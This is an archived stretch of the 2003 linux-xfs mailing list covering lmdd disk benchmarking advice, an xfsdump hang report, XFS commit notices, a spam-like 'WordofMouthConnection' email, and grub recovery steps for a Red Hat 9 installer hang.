Thu, 25 Sep 2003 12:52:21 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8PHqKsV001337; Thu, 25 Sep 2003 12:52:20 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: Dealing with a very large file -1,5TB From: Steve Lord To: Nathan Straz Cc: Christoph Klocker , linux-xfs@oss.sgi.com In-Reply-To: <20030925161654.GA12344@sgi.com> References: <11941-220039425152023140@kth.se> <20030925161654.GA12344@sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064512340.1211.8.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 25 Sep 2003 12:52:20 -0500 X-archive-position: 535 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2014 Lines: 59 On Thu, 2003-09-25 at 11:16, Nathan Straz wrote: > On Thu, Sep 25, 2003 at 05:20:23PM +0200, Christoph Klocker wrote: > > then I did the benchmark how they were described in the man page I found on > > the web. > > [root@localhost lmdd]# ./lmdd if=internal of=/raid/XXX count=1000 fsync=1 > > 8.1920 MB in 2.2116 secs, 3.7041 MB/sec > > > > unmounted and mounted again > > [root@localhost lmdd]# ./lmdd if=/raid/XXX of=internal > > 8.1920 MB in 0.0776 secs, 105.6065 MB/sec > > > > the 105 MB/s seem to be very slow, > > I find that you really have to increase the block size you're using for > I/O. Try adding "bs=1024" or similar to your command lines. Also try > "odirect=1." bs=128k or some other larger value might be more meaningful. It looks like it is defaulting to 8K I/O buffers. A file size of 8M is going to be completely in cache when you read it back, so you are looking more at memory speed than anything else here. lmdd is part of lmbench, this contains tools to measure memory bandwidth too, if your memory bandwidth is going somewhere else, you need to do some investigation. Just using a simple scsi disk: lmdd if=internal of=fred count=1000 fsync=1 8.1920 MB in 0.4958 secs, 16.5234 MB/sec lmdd if=fred of=internal 8.1920 MB in 0.0355 secs, 230.9753 MB/sec adding O_DIRECT: lmdd if=fred of=internal direct=1 8.1920 MB in 0.4241 secs, 19.3180 MB/sec and on output, demonstrating differing buffer sizes with direct I/O lmdd if=internal of=fred count=1000 fsync=1 direct=1 8.1920 MB in 2.4649 secs, 3.3234 MB/sec lmdd if=internal of=fred count=1000 bs=32k fsync=1 direct=1 32.7680 MB in 3.6736 secs, 8.9200 MB/sec lmdd if=internal of=fred count=1000 bs=128k fsync=1 direct=1 131.0720 MB in 7.7335 secs, 16.9487 MB/sec lmdd if=internal of=fred count=1000 bs=256k fsync=1 direct=1 262.1440 MB in 14.2395 secs, 18.4096 MB/sec Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Sep 25 11:08:25 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 11:08:44 -0700 (PDT) Received: from peter.wordofmouthconnection.org (wordofmouthconnection.org [64.246.11.26]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PI8OFx014991 for ; Thu, 25 Sep 2003 11:08:25 -0700 Received: from nobody by peter.wordofmouthconnection.org with local (Exim 4.23) id 1A2aY1-0003HO-BM for linux-xfs@oss.sgi.com; Thu, 25 Sep 2003 13:09:01 -0500 To: linux-xfs@oss.sgi.com Subject: A Connection Has Been Made To: linux-xfs@oss.sgi.com From: "connection-awareness-system@word-of-mouth-connection.com" Message-Id: Date: Thu, 25 Sep 2003 13:09:01 -0500 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - peter.wordofmouthconnection.org X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - peter.wordofmouthconnection.org X-archive-position: 536 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: connection-awareness-system@word-of-mouth-connection.com Precedence: bulk X-list: linux-xfs Content-Length: 2183 Lines: 37 WordofMouthConnection.com Connection Awareness System This is a website-generated email, but it is not spam. An acquaintance of yours recently shared their experience with you in our online community, WordofMouthConnection.com. It could be a friend, a family member, co-worker, business associate, or someone else you have run into at some time. Why are we sending you this email? When people find out others are talking about them -- whether it is good or bad -- they want to know. At WordofMouthConnection.com, we feel responsible to alert people so they have an opportunity to find out what is being said. Click here to see what connections have been made: Click here to view all "Word-of-Mouth Connections" in our system regarding this email address: http://womc.net/pass.php?a=search&b=5&c=linux-xfs@oss.sgi.com How did we find you? When your acquaintance submitted a WordofMouthConnection.com Connection, they provided us with your email address. What can you do? First, we would like to invite you to visit our website at www.wordofmouthconnection.com and learn about our service. Registration is free. At our website you will have an option to anonymously email your acquaintance to connect with the person who shared their experience, and to learn the kind of word-of-mouth information he or she is revealing. We are solely interested in fostering a community of willing people to promote information exchange. If you decide you're not interested, you can choose to block future emails from us. Add your email address to our Do Not Email List by clicking the link below: http://womc.net/pass.php?a=donotemail&b=linux-xfs@oss.sgi.com&c=true *Important - "Word-of-Mouth Connections" are only for the purpose of identifying the connection subject. What you see is what you get, in terms of search results. WordofMouthConnection.com is an online community that helps connect people so that they can talk at greater length and in greater detail. None of the information that is exchanged resides within the website itself. If you have any questions or comments please email us at: http://womc.net/pass.php?a=contact Sincerely, WordofMouthConnection.com From owner-linux-xfs@oss.sgi.com Thu Sep 25 11:52:02 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 11:52:07 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PIq1Fx017182 for ; Thu, 25 Sep 2003 11:52:02 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8PGt7OO003708 for ; Thu, 25 Sep 2003 09:55:08 -0700 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.232.87]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8PIpucc11797354 for ; Thu, 25 Sep 2003 13:51:56 -0500 (CDT) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 1A2bDX-0004cy-00 for ; Thu, 25 Sep 2003 13:51:55 -0500 Date: Thu, 25 Sep 2003 13:51:55 -0500 From: Nathan Straz To: linux-xfs@oss.sgi.com Subject: Re: Dealing with a very large file -1,5TB Message-ID: <20030925185155.GC12344@sgi.com> Mail-Followup-To: linux-xfs@oss.sgi.com References: <11941-220039425152023140@kth.se> <20030925161654.GA12344@sgi.com> <1064512340.1211.8.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1064512340.1211.8.camel@jen.americas.sgi.com> User-Agent: Mutt/1.5.3i X-archive-position: 537 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 903 Lines: 22 On Thu, Sep 25, 2003 at 12:52:20PM -0500, Steve Lord wrote: > On Thu, 2003-09-25 at 11:16, Nathan Straz wrote: > > On Thu, Sep 25, 2003 at 05:20:23PM +0200, Christoph Klocker wrote: > > > [root@localhost lmdd]# ./lmdd if=/raid/XXX of=internal > > > 8.1920 MB in 0.0776 secs, 105.6065 MB/sec > > > > > > the 105 MB/s seem to be very slow, > > > > I find that you really have to increase the block size you're using for > > I/O. Try adding "bs=1024" or similar to your command lines. Also try > > "odirect=1." > > bs=128k or some other larger value might be more meaningful. Doh! I forgot the "k". I find that block sizes in the 1-4MB range get my the most throughput usually. -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Thu Sep 25 14:14:57 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 14:15:12 -0700 (PDT) Received: from uni-kl.de (mail.uni-kl.de [131.246.137.52]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PLEtFx029244 for ; Thu, 25 Sep 2003 14:14:56 -0700 Received: from mailgate1.uni-kl.de (mailgate1.uni-kl.de [131.246.120.5]) by uni-kl.de (8.12.8/8.12.8) with ESMTP id h8PLEseV026122 for ; Thu, 25 Sep 2003 23:14:54 +0200 (MET DST) Received: from mailinf.rhrk.uni-kl.de (mailinf.rhrk.uni-kl.de [131.246.137.54]) by mailgate1.uni-kl.de (8.12.7/8.12.7) with ESMTP id h8PLEsVL001078 for ; Thu, 25 Sep 2003 23:14:54 +0200 Received: from vw1-nehmer.informatik.uni-kl.de (vw1-nehmer.informatik.uni-kl.de [131.246.19.251]) by mailinf.rhrk.uni-kl.de (8.12.6/8.12.6) with SMTP id h8PLEsn0008690 for ; Thu, 25 Sep 2003 22:14:54 +0100 (WEST) Received: from 131.246.16.250 by vw1-nehmer.informatik.uni-kl.de (InterScan E-Mail VirusWall NT); Thu, 25 Sep 2003 23:15:45 +0200 Received: from christie.informatik.uni-kl.de ([192.168.16.25]) by gateway1-theorie.informatik.uni-kl.de with ESMTP id <119047>; Thu, 25 Sep 2003 23:14:44 +0200 From: Bernd Strieder Organization: Universitaet Kaiserlautern To: linux-xfs@oss.sgi.com Subject: xfsdump hanging in uninterruptible sleep Date: Thu, 25 Sep 2003 23:14:39 +0200 User-Agent: KMail/1.5.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309252314.39433.strieder@informatik.uni-kl.de> X-archive-position: 538 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: strieder@informatik.uni-kl.de Precedence: bulk X-list: linux-xfs Content-Length: 1735 Lines: 44 Hello The filesystem in question is on a 36GB SCSI drive, the only partition on this drive. The fs contains 22 GB of data, quota is used with few exception. The filesystem is exported to about 15 Linux clients, 1 Debian, the others SuSE8.2 and 8.1 , and 1 OpenBSD client. The server is P3 2-way SMP with 4GB of RAM. Occasionally xfsdump is hanging in uninterruptible sleep. Occasionally means, that it happens sometimes, but I have not been able to trigger the problem. Usually xfsdump is run at night writing about 20 GB via rmt to a Sun box with a DLT streamer attached to it. If the problem happens, it must be at the beginning of the dump, from the backup logs I have. I have not found a way to kill xfsdump in this state, the machine has to be booted, or the other night the next xfsdump started will get into the same state. There are no diagnostics somewhere in the system, syslog, console, dmesg. ps says xfsdump is in lock_p. The problem happens with the SuSE-kernels delivered with SuSE-8.1 and 8.2, and with all patched Linus with XFS patched, and with -ac kernels. All kernels I have tried show the problem. Before the update to SuSE 8.2 it took once 3 months between two cases of hanging xfsdump using a vanilla 2.4.21 kernel with xfs 1.2 patched. I have tried xfsdump to /dev/null and putting the system under load (more disk load, more network load), but I could not trigger the problem. The tape drive swallows about 5MB/sec, by dumping to /dev/zero the rate is about 15MB/sec, which should be more stress to the system. Twice, the hanging xfsdump was not noticed for some days and the system got instable, kernel NFSd hanging, which made a reboot mandatory. Any ideas? Bernd Strieder From owner-linux-xfs@oss.sgi.com Thu Sep 25 17:21:12 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 17:22:19 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0LBFx013914 for ; Thu, 25 Sep 2003 17:21:12 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8PMOIOO032715 for ; Thu, 25 Sep 2003 15:24:18 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8Q0L5cc11792705; Thu, 25 Sep 2003 19:21:05 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-4.corp.sgi.com [134.15.64.4]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8Q0L0Rn266920783; Thu, 25 Sep 2003 19:21:01 -0500 (CDT) Subject: Re: xfsdump hanging in uninterruptible sleep From: Steve Lord To: Bernd Strieder Cc: linux-xfs@oss.sgi.com In-Reply-To: <200309252314.39433.strieder@informatik.uni-kl.de> References: <200309252314.39433.strieder@informatik.uni-kl.de> Content-Type: text/plain Organization: Message-Id: <1064535652.1529.25.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 25 Sep 2003 19:20:52 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 539 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2515 Lines: 64 On Thu, 2003-09-25 at 16:14, Bernd Strieder wrote: > Hello > > The filesystem in question is on a 36GB SCSI drive, the only > partition on this drive. The fs contains 22 GB of data, quota is > used with few exception. The filesystem is exported to about 15 > Linux clients, 1 Debian, the others SuSE8.2 and 8.1 , and 1 > OpenBSD client. The server is P3 2-way SMP with 4GB of RAM. > > Occasionally xfsdump is hanging in uninterruptible sleep. > Occasionally means, that it happens sometimes, but I have not > been able to trigger the problem. > > Usually xfsdump is run at night writing about 20 GB via rmt to a > Sun box with a DLT streamer attached to it. If the problem > happens, it must be at the beginning of the dump, from the > backup logs I have. > > I have not found a way to kill xfsdump in this state, the machine > has to be booted, or the other night the next xfsdump started > will get into the same state. There are no diagnostics somewhere > in the system, syslog, console, dmesg. ps says xfsdump is in > lock_p. > > The problem happens with the SuSE-kernels delivered with SuSE-8.1 > and 8.2, and with all patched Linus with XFS patched, and with > -ac kernels. All kernels I have tried show the problem. Before > the update to SuSE 8.2 it took once 3 months between two cases > of hanging xfsdump using a vanilla 2.4.21 kernel with xfs 1.2 > patched. > > I have tried xfsdump to /dev/null and putting the system under > load (more disk load, more network load), but I could not > trigger the problem. The tape drive swallows about 5MB/sec, by > dumping to /dev/zero the rate is about 15MB/sec, which should be > more stress to the system. > > Twice, the hanging xfsdump was not noticed for some days and the > system got instable, kernel NFSd hanging, which made a reboot > mandatory. > > Any ideas? > > Bernd Strieder Using sysrq to get a stack trace of the xfsdump thread in the kernel will give some pointers to where it is hanging. Since it happens when you use the real tape rather than the dummy one, there is a fair chance that the tape end of the dump is where the problem lies. You need a kernel with sysrq enabled, and you need to turn it on, then there is an option to dump stacks of all kernel threads. There is a documentation on all of this in the kernel source directory under Documentation/sysrq.txt. Running strace on the binary is also an option, but that requires being able to reproduce the problem. Steve -- Steve Lord From owner-linux-xfs@oss.sgi.com Thu Sep 25 21:55:56 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 21:56:12 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q4ttFx001926 for ; Thu, 25 Sep 2003 21:55:56 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8Q5CqHc003517 for ; Fri, 26 Sep 2003 00:12:53 -0500 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8Q4gLVi003253 for ; Fri, 26 Sep 2003 14:42:21 +1000 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8Q4gLjK003252 for linux-xfs@oss.sgi.com; Fri, 26 Sep 2003 14:42:21 +1000 Date: Fri, 26 Sep 2003 14:42:21 +1000 From: FSG QA Message-Id: <200309260442.h8Q4gLjK003252@bruce.melbourne.sgi.com> Subject: TAKE - xfstests X-archive-position: 540 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1237 Lines: 49 Add an rwtest case that Steve found an unwritten extent/direct IO interaction bug with. Cleanup dbench benchmark scripts. -- nathans. Date: Wed Sep 24 18:57:56 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:158951a cmd/xfstests/run.dbenchmulti - 1.1 cmd/xfstests/run.dbench - 1.6 cmd/xfstests/run.dbench50 - 1.3 cmd/xfstests/common.dbench - 1.3 cmd/xfstests/run.dbench10 - 1.3 cmd/xfstests/run.dbench100 - 1.3 cmd/xfstests/run.dbench2 - 1.2 cmd/xfstests/run.dbench20 - 1.2 cmd/xfstests/run.metaperf_10i_1000n - 1.2 cmd/xfstests/run.metaperf_10i_1n - 1.2 Date: Thu Sep 25 21:51:27 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:159027a cmd/xfstests/080 - 1.1 cmd/xfstests/080.out - 1.1 - rwtest case that Steve found an unwritten extent/direct IO bug with. cmd/xfstests/ltp/rwtest.sh - 1.1 - Wrapper for iogen/doio. cmd/xfstests/group - 1.43 - Add test 080. cmd/xfstests/ltp/Makefile - 1.2 - Don't link with extra libraries, output become intermingled. From owner-linux-xfs@oss.sgi.com Thu Sep 25 23:33:03 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 23:33:19 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q6X2Fx011127 for ; Thu, 25 Sep 2003 23:33:03 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8Q4a9OO027509 for ; Thu, 25 Sep 2003 21:36:10 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8Q6JQVi003356; Fri, 26 Sep 2003 16:19:26 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8Q6JPwi003355; Fri, 26 Sep 2003 16:19:25 +1000 Date: Fri, 26 Sep 2003 16:19:25 +1000 From: Nathan Scott Message-Id: <200309260619.h8Q6JPwi003355@bruce.melbourne.sgi.com> Subject: TAKE 901407 - IO path fix X-archive-position: 541 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 340 Lines: 13 Fix a broken interaction between a buffered read into an unwritten extent and a direct write. Date: Thu Sep 25 23:29:58 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build2/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:159030a linux/fs/xfs/linux/xfs_aops.c - 1.49 From owner-linux-xfs@oss.sgi.com Thu Sep 25 23:42:45 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 23:43:02 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q6giFx012145 for ; Thu, 25 Sep 2003 23:42:45 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8Q4jpOO028233 for ; Thu, 25 Sep 2003 21:45:51 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8Q6T7Vi003451; Fri, 26 Sep 2003 16:29:07 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8Q6T6kP003450; Fri, 26 Sep 2003 16:29:07 +1000 Date: Fri, 26 Sep 2003 16:29:07 +1000 From: Nathan Scott Message-Id: <200309260629.h8Q6T6kP003450@bruce.melbourne.sgi.com> Subject: TAKE 901085 - inode revalidation (minor) X-archive-position: 542 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 327 Lines: 13 Clean up inode revalidation code slightly. Date: Thu Sep 25 23:40:16 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build2/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:159031a linux/fs/xfs/xfs_vnodeops.c - 1.611 linux/fs/xfs/linux/xfs_vnode.c - 1.120 From owner-linux-xfs@oss.sgi.com Fri Sep 26 01:59:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 01:59:21 -0700 (PDT) Received: from mail1.kth.se (mail1.kth.se [130.237.32.62]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q8xEFx030775 for ; Fri, 26 Sep 2003 01:59:15 -0700 Received: from kth.se (citu-dhcp12.citu.kth.se [130.237.8.222]) by mail1.kth.se (8.12.10/8.12.9) with ESMTP id h8Q8xCWE013152; Fri, 26 Sep 2003 10:59:12 +0200 (MEST) Message-ID: <3F73FFB6.1060907@kth.se> Date: Fri, 26 Sep 2003 10:58:30 +0200 From: Christoph Klocker User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030723 Thunderbird/0.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Steve Lord CC: linux-xfs@oss.sgi.com Subject: Re: Dealing with a very large file -1,5TB References: <11941-220039425152023140@kth.se> <20030925161654.GA12344@sgi.com> <1064512340.1211.8.camel@jen.americas.sgi.com> In-Reply-To: <1064512340.1211.8.camel@jen.americas.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 543 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cklocker@kth.se Precedence: bulk X-list: linux-xfs Content-Length: 2217 Lines: 74 Can you tell me how to make the lmdd direct=1 option to work, I found your previous post, but don't know how to use that information you can add the -D_GNU_SOURCE option to the cc options and it will get build with direct I/O support direct=1 christoph Steve Lord wrote: >On Thu, 2003-09-25 at 11:16, Nathan Straz wrote: > > >>On Thu, Sep 25, 2003 at 05:20:23PM +0200, Christoph Klocker wrote: >> >> >>>then I did the benchmark how they were described in the man page I found on >>>the web. >>>[root@localhost lmdd]# ./lmdd if=internal of=/raid/XXX count=1000 fsync=1 >>>8.1920 MB in 2.2116 secs, 3.7041 MB/sec >>> >>>unmounted and mounted again >>>[root@localhost lmdd]# ./lmdd if=/raid/XXX of=internal >>>8.1920 MB in 0.0776 secs, 105.6065 MB/sec >>> >>>the 105 MB/s seem to be very slow, >>> >>> >>I find that you really have to increase the block size you're using for >>I/O. Try adding "bs=1024" or similar to your command lines. Also try >>"odirect=1." >> >> > >bs=128k or some other larger value might be more meaningful. It looks >like it is defaulting to 8K I/O buffers. A file size of 8M is going >to be completely in cache when you read it back, so you are looking >more at memory speed than anything else here. lmdd is part of lmbench, >this contains tools to measure memory bandwidth too, if your memory >bandwidth is going somewhere else, you need to do some investigation. > >Just using a simple scsi disk: > >lmdd if=internal of=fred count=1000 fsync=1 >8.1920 MB in 0.4958 secs, 16.5234 MB/sec > >lmdd if=fred of=internal >8.1920 MB in 0.0355 secs, 230.9753 MB/sec > >adding O_DIRECT: > >lmdd if=fred of=internal direct=1 >8.1920 MB in 0.4241 secs, 19.3180 MB/sec > >and on output, demonstrating differing buffer sizes with direct I/O > >lmdd if=internal of=fred count=1000 fsync=1 direct=1 >8.1920 MB in 2.4649 secs, 3.3234 MB/sec > >lmdd if=internal of=fred count=1000 bs=32k fsync=1 direct=1 >32.7680 MB in 3.6736 secs, 8.9200 MB/sec > >lmdd if=internal of=fred count=1000 bs=128k fsync=1 direct=1 >131.0720 MB in 7.7335 secs, 16.9487 MB/sec > >lmdd if=internal of=fred count=1000 bs=256k fsync=1 direct=1 >262.1440 MB in 14.2395 secs, 18.4096 MB/sec > > >Steve > > > From owner-linux-xfs@oss.sgi.com Fri Sep 26 10:07:37 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 10:08:05 -0700 (PDT) Received: from mensa.uleth.ca (mensa.uleth.ca [142.66.3.44]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QH7aFx001101 for ; Fri, 26 Sep 2003 10:07:37 -0700 Received: from juliet.netsrv.uleth.ca ([142.66.35.164]:45859) by mensa.uleth.ca with esmtp (Exim 4.22) id 1A2w48-0002VQ-8y for linux-xfs@oss.sgi.com; Fri, 26 Sep 2003 11:07:36 -0600 Received: from loki.cs.uleth.ca ([142.66.56.59]:40695) by juliet.netsrv.uleth.ca with esmtp (Exim 4.22) id 1A2w48-0007w6-3X for linux-xfs@oss.sgi.com; Fri, 26 Sep 2003 11:07:36 -0600 Subject: Installer CD for XFS 1.3 From: Aly Dharshi To: linux-xfs@oss.sgi.com Content-Type: text/plain Message-Id: <1064596055.14988.8.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 26 Sep 2003 11:07:36 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 545 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: aly.dharshi@uleth.ca Precedence: bulk X-list: linux-xfs Content-Length: 494 Lines: 18 Hi Folks, Has anybody encountered the error whereby they get a sort of hanging problem while installing the bootloader in RH9. Cheers, Aly. -- Aly S.P Dharshi aly.dharshi@uleth.ca Southern Alberta Digital Library Project "A good speech is like a good dress that's short enough to be interesting and long enough to cover the subject" From owner-linux-xfs@oss.sgi.com Fri Sep 26 10:22:30 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 10:22:39 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QHMTFx002394 for ; Fri, 26 Sep 2003 10:22:30 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8QFPcOO015303 for ; Fri, 26 Sep 2003 08:25:39 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8QHMNcc11792027; Fri, 26 Sep 2003 12:22:23 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8QHMNSn30190609; Fri, 26 Sep 2003 12:22:24 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8QHMMkf004920; Fri, 26 Sep 2003 12:22:22 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8QHMIjP004918; Fri, 26 Sep 2003 12:22:18 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: Installer CD for XFS 1.3 From: Steve Lord To: Aly Dharshi Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064596055.14988.8.camel@localhost> References: <1064596055.14988.8.camel@localhost> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064596936.1214.42.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 26 Sep 2003 12:22:17 -0500 X-archive-position: 546 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 796 Lines: 30 On Fri, 2003-09-26 at 12:07, Aly Dharshi wrote: > Hi Folks, > > Has anybody encountered the error whereby they get a sort of hanging > problem while installing the bootloader in RH9. I hit it 4 times on 4 machines last week, seems to be very simple. You need to switch to the console with a shell on it and kill grub, it is in a cpu loop. Then do a chroot to the root of the install tree (/mnt/install I think) and run grub there. Inside grub to root (hd0,x) setup (hd0) that assumes hd0 is the disk containing the /boot directory and x is the partition number on that disk. Then return to the installer and complete the installation. 